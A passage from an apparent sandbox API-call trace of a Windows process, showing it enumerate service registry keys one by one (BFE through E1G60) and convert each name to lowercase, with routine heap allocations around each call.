cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0232.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0232.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0232.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0232.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0232.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0232.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0232.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0232.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0232.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0232.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0232.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0232.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0232.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.808] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.808] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.808] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.808] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0232.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0232.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0232.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0232.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0232.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0232.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0232.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0232.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0232.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.810] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0232.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0232.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.810] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0232.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0232.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.810] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0232.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0232.810] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0232.810] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0232.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0232.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0232.813] RegEnumKeyW (in: 